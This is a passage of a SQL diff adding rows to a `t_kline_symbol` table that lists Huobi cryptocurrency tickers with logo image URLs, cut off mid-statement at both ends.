NULL); +INSERT INTO `t_kline_symbol` VALUES (876, 'huobi', 'sys', 'SYS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syscoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (877, 'huobi', 'hunt', 'HUNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hunt-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (878, 'huobi', 'primate', 'PRIMATE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (879, 'huobi', 'breed', 'BREED', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/breederdao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (880, 'huobi', 'strm', 'STRM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/streamcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (881, 'huobi', 'boson', 'BOSON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boson-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (882, 'huobi', 'ply', 'PLY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurigami.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (883, 'huobi', 'jumbo', 'JUMBO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jumbo-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (884, 'huobi', 'lunr', 'LUNR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunr-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (885, 'huobi', 'wndr', 'WNDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wonderman-nation.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (886, 'huobi', 'toke', 'TOKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokemak.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (887, 'huobi', 'akt', 'AKT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/akt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (888, 'huobi', 'adp', 'ADP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adappter-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (889, 'huobi', 'orbr', 'ORBR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbler.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (890, 'huobi', 'oct', 'OCT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oraclechain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (891, 'huobi', 'tinc', 'TINC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/tinyworld.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (892, 'huobi', 'usn', 'USN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (893, 'huobi', 'usdd', 'USDD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (894, 'huobi', 'reth', 'RETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/realmsofethernity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (895, 'huobi', 'rei', 'REI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rei-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (896, 'huobi', 'vlx', 'VLX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/velas.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (897, 'huobi', 'sfund', 'SFUND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seedify-fund.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (898, 'huobi', 'kct', 'KCT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/konnect.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (899, 'huobi', 'wmt', 'WMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/world-mobile-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (900, 'huobi', 'pla', 'PLA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playdapp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (901, 'huobi', 'tlos', 'TLOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/telos-blockchain-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (902, 'huobi', 'mesa', 'MESA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/mymessage.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (903, 'huobi', 'mcontent', 'MCONTENT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcontent.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (904, 'huobi', 'brt', 'BRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitribe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (905, 'huobi', 'aqt', 'AQT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-quark-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (906, 'huobi', 'gno', 'GNO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gnosis-gno.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (907, 'huobi', 'luna', 'LUNA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna-v2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (908, 'huobi', 'bwo', 'BWO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/battle-world.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (909, 'huobi', 'berry', 'BERRY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rentberry.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (910, 'huobi', 'cusd', 'CUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cusd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (911, 'huobi', 'we', 'WE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webuy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (912, 'huobi', 'cube', 'CUBE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PurePoS.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (913, 'huobi', 'bp', 'BP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beyond-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (914, 'huobi', 'ever', 'EVER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ton-crystal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (915, 'huobi', 'wwy', 'WWY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/weway.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (916, 'huobi', 'swap', 'SWAP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trustswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (917, 'huobi', 'oland', 'OLAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oceanland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (918, 'huobi', 'hsf', 'HSF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hillstone.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (919, 'huobi', 'joy', 'JOY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joy-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (920, 'huobi', 'route', 'ROUTE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/router-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (921, 'huobi', 'shit', 'SHIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shit-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (922, 'huobi', 'egame', 'EGAME', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/every-game.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (923, 'huobi', 'revo', 'REVO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/revoland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (924, 'huobi', 'sign', 'SIGN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signaturechain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (925, 'huobi', 'fota', 'FOTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fortuna.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (926, 'huobi', 'well', 'WELL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/well.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (927, 'huobi', 'steth', 'STETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/staked-ether.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (928, 'huobi', 'col', 'COL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unit-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (929, 'huobi', 'wcube', 'WCUBE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (930, 'huobi', 'xdc', 'XDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xinfin-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (931, 'huobi', 'wlkn', 'WLKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (932, 'huobi', 'dora', 'DORA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dora-factory.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (933, 'huobi', 'flz', 'FLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fellaz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (934, 'huobi', 'medamon', 'MEDAMON', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (935, 'huobi', 'koi', 'KOI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/koi-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (936, 'huobi', 'eul', 'EUL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/euler-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (937, 'huobi', 'ctc', 'CTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creditcoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (938, 'huobi', 'dks', 'DKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darkshield.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (939, 'huobi', 'kube', 'KUBE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kubecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (940, 'huobi', 'crts', 'CRTS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cratos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (941, 'huobi', 'qom', 'QOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiba-predator.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (942, 'huobi', 'tao', 'TAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusotaoprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (943, 'huobi', 'mbx', 'MBX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobiecoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (944, 'huobi', 'aegis', 'AEGIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stonk-league.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (945, 'huobi', 'dep', 'DEP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deapcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (946, 'huobi', 'pando', 'PANDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pando.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (947, 'huobi', 'sao', 'SAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sator.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (948, 'huobi', 'euroc', 'EUROC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/euro-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (949, 'huobi', 'mev', 'MEV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosvegascoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (950, 'huobi', 'evmos', 'EVMOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evmos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (951, 'huobi', 'znt', 'ZNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/znt.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (952, 'huobi', 'velo', 'VELO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/velo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (953, 'huobi', 'like', 'LIKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/likecoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (954, 'huobi', 'srt', 'SRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smart-reward-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (955, 'huobi', 'tava', 'TAVA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/altavagroup.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (956, 'huobi', 'ogv', 'OGV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-dollar-governance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (957, 'huobi', 'mudol2', 'MUDOL2', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hero-blaze-three-kingdoms.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (958, 'huobi', 'solo', 'SOLO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solo-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (959, 'huobi', 'lbl', 'LBL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/label-foundation.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (960, 'huobi', 'poolz', 'POOLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/poolz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (961, 'huobi', 'azero', 'AZERO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aleph-zero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (962, 'huobi', 'movez', 'MOVEZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/movez.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (963, 'huobi', 'tdx', 'TDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tidex-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (964, 'huobi', 'og', 'OG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/og.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (965, 'huobi', 'atm', 'ATM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atletico-madrid.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (966, 'huobi', 'fiu', 'FIU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/befitter.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (967, 'huobi', 'antex', 'ANTEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/antex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (968, 'huobi', 'uos', 'UOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/1c7ea6b85e2c15aaba995984ec466d65.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (969, 'huobi', 'dfi', 'DFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defichain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (970, 'huobi', 'xeta', 'XETA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xana.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (971, 'huobi', 'klv', 'KLV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/klever.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (972, 'huobi', 'anv', 'ANV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/aniverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (973, 'huobi', 'gsterc', 'GSTERC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (974, 'huobi', 'toms', 'TOMS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomtomcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (975, 'huobi', 'fio', 'FIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fio-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (976, 'huobi', 'dyp', 'DYP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defi-yield-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (977, 'huobi', 'mrs', 'MRS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mrs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (978, 'huobi', 'zed', 'ZED', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zed-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (979, 'huobi', 'mcg', 'MCG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/microchains-gov-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (980, 'huobi', 'sps', 'SPS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/splintershards.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (981, 'huobi', 'lovely', 'LOVELY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lovely-inu.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (982, 'huobi', 'prom', 'PROM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prometeus.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (983, 'huobi', 'kok', 'KOK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kok-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (984, 'huobi', 'clp', 'CLP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (985, 'huobi', 'vvs', 'VVS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vvs-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (986, 'huobi', 'dexe', 'DEXE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (987, 'huobi', 'hype', 'HYPE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hype-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (988, 'huobi', 'pbr', 'PBR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkabridge.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (989, 'huobi', 'stc', 'STC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (990, 'huobi', 'ton', 'TON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toncoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (991, 'huobi', 'spume', 'SPUME', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spume-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (992, 'huobi', 'nodl', 'NODL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nodleiot.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (993, 'huobi', 'orc', 'ORC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbit-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` 